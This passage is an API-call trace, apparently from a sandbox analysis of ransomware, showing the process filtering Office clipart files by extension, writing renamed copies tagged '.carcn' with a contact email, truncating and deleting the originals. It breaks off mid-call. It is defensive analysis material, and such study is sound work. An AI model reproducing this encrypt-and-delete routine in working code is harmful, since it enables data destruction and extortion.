[0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString=".doc") returned 4 [0271.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString=".docx") returned 5 [0271.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.361] lstrlenW (lpString=".pdf") returned 4 [0271.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString=".xls") returned 4 [0271.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.361] lstrlenW (lpString=".xlsx") returned 5 [0271.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.361] lstrlenW (lpString=".ppt") returned 4 [0271.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.361] lstrlenW (lpString=".zip") returned 4 [0271.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.361] lstrlenW (lpString=".rar") returned 4 [0271.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString=".bz2") returned 4 [0271.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString=".7z") returned 3 [0271.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.361] lstrlenW (lpString=".dbf") returned 4 [0271.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.361] lstrlenW (lpString=".1cd") returned 4 [0271.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.361] lstrlenW (lpString=".jpg") returned 4 [0271.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.362] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.362] lstrlenW (lpString="DD00413_.WMF") returned 12 [0271.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.363] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=42992) returned 1 [0271.363] CloseHandle (hObject=0x370) returned 1 [0271.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0271.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.364] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.364] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.365] GetLastError () returned 0x0 [0271.365] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0271.430] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xa800, lpOverlapped=0x0) returned 1 [0271.432] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.432] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.432] SetEndOfFile (hFile=0x524) returned 1 [0271.453] CloseHandle (hObject=0x524) returned 1 [0271.454] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.454] SetEndOfFile (hFile=0x370) returned 1 [0271.508] CloseHandle (hObject=0x370) returned 1 [0271.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0273.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.008] lstrlenW (lpString=".doc") returned 4 [0273.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.008] lstrlenW (lpString=".docx") returned 5 [0273.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.008] lstrlenW (lpString=".pdf") returned 4 [0273.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.008] lstrlenW (lpString=".xls") returned 4 [0273.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.008] lstrlenW (lpString=".xlsx") returned 5 [0273.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.009] lstrlenW (lpString=".ppt") returned 4 [0273.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString=".zip") returned 4 [0273.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.009] lstrlenW (lpString=".rar") returned 4 [0273.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString=".bz2") returned 4 [0273.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString=".7z") returned 3 [0273.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString=".dbf") returned 4 [0273.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString=".1cd") returned 4 [0273.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString=".jpg") returned 4 [0273.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.009] lstrlenW (lpString=".doc") returned 4 [0273.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString=".docx") returned 5 [0273.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.009] lstrlenW (lpString=".pdf") returned 4 [0273.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.009] lstrlenW (lpString=".xls") returned 4 [0273.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.010] lstrlenW (lpString=".xlsx") returned 5 [0273.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.010] lstrlenW (lpString=".ppt") returned 4 [0273.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.010] lstrlenW (lpString=".zip") returned 4 [0273.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.010] lstrlenW (lpString=".rar") returned 4 [0273.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.010] lstrlenW (lpString=".bz2") returned 4 [0273.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.010] lstrlenW (lpString=".7z") returned 3 [0273.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.010] lstrlenW (lpString=".dbf") returned 4 [0273.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.010] lstrlenW (lpString=".1cd") returned 4 [0273.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0273.010] lstrlenW (lpString=".jpg") returned 4 [0273.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.010] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.010] lstrlenW (lpString="DD00449_.WMF") returned 12 [0273.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.011] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9992) returned 1 [0273.011] CloseHandle (hObject=0x54c) returned 1 [0273.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0273.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.012] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.012] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0273.012] GetLastError () returned 0x0 [0273.012] ReadFile (in: hFile=0x54c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2708, lpOverlapped=0x0) returned 1 [0273.047] WriteFile (in: hFile=0x528, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2710, lpOverlapped=0x0) returned 1 [0273.048] ReadFile (in: hFile=0x54c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.048] WriteFile (in: hFile=0x528, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.048] SetEndOfFile (hFile=0x528) returned 1 [0273.048] CloseHandle (hObject=0x528) returned 1 [0273.048] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.048] SetEndOfFile (hFile=0x54c) returned 1 [0273.051] CloseHandle (hObject=0x54c) returned 1 [0273.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString=".doc") returned 4 [0273.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".docx") returned 5 [0273.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.132] lstrlenW (lpString=".pdf") returned 4 [0273.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".xls") returned 4 [0273.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.132] lstrlenW (lpString=".xlsx") returned 5 [0273.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.132] lstrlenW (lpString=".ppt") returned 4 [0273.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString=".zip") returned 4 [0273.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.132] lstrlenW (lpString=".rar") returned 4 [0273.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".bz2") returned 4 [0273.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".7z") returned 3 [0273.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString=".dbf") returned 4 [0273.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString=".1cd") returned 4 [0273.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.132] lstrlenW (lpString=".jpg") returned 4 [0273.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.133] lstrlenW (lpString=".doc") returned 4 [0273.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.133] lstrlenW (lpString=".docx") returned 5 [0273.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.133] lstrlenW (lpString=".pdf") returned 4 [0273.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.288] lstrlenW (lpString=".xls") returned 4 [0273.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.288] lstrlenW (lpString=".xlsx") returned 5 [0273.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.289] lstrlenW (lpString=".ppt") returned 4 [0273.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.289] lstrlenW (lpString=".zip") returned 4 [0273.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.289] lstrlenW (lpString=".rar") returned 4 [0273.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.289] lstrlenW (lpString=".bz2") returned 4 [0273.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.289] lstrlenW (lpString=".7z") returned 3 [0273.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.289] lstrlenW (lpString=".dbf") returned 4 [0273.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.289] lstrlenW (lpString=".1cd") returned 4 [0273.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0273.290] lstrlenW (lpString=".jpg") returned 4 [0273.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.290] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.290] lstrlenW (lpString="DD01139_.WMF") returned 12 [0273.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.291] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3632) returned 1 [0273.291] CloseHandle (hObject=0x554) returned 1 [0273.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0273.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.292] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.292] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0273.293] GetLastError () returned 0x0 [0273.293] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xe30, lpOverlapped=0x0) returned 1 [0273.395] WriteFile (in: hFile=0x4a0, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe40, lpOverlapped=0x0) returned 1 [0273.396] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.396] WriteFile (in: hFile=0x4a0, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.397] SetEndOfFile (hFile=0x4a0) returned 1 [0273.397] CloseHandle (hObject=0x4a0) returned 1 [0273.397] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.397] SetEndOfFile (hFile=0x554) returned 1 [0273.407] CloseHandle (hObject=0x554) returned 1 [0273.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0273.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.502] lstrlenW (lpString=".doc") returned 4 [0273.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.502] lstrlenW (lpString=".docx") returned 5 [0273.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.502] lstrlenW (lpString=".pdf") returned 4 [0273.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.502] lstrlenW (lpString=".xls") returned 4 [0273.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.502] lstrlenW (lpString=".xlsx") returned 5 [0273.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.502] lstrlenW (lpString=".ppt") returned 4 [0273.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.503] lstrlenW (lpString=".zip") returned 4 [0273.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.503] lstrlenW (lpString=".rar") returned 4 [0273.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.503] lstrlenW (lpString=".bz2") returned 4 [0273.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.503] lstrlenW (lpString=".7z") returned 3 [0273.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.504] lstrlenW (lpString=".dbf") returned 4 [0273.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.504] lstrlenW (lpString=".1cd") returned 4 [0273.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.504] lstrlenW (lpString=".jpg") returned 4 [0273.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.504] lstrlenW (lpString=".doc") returned 4 [0273.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.504] lstrlenW 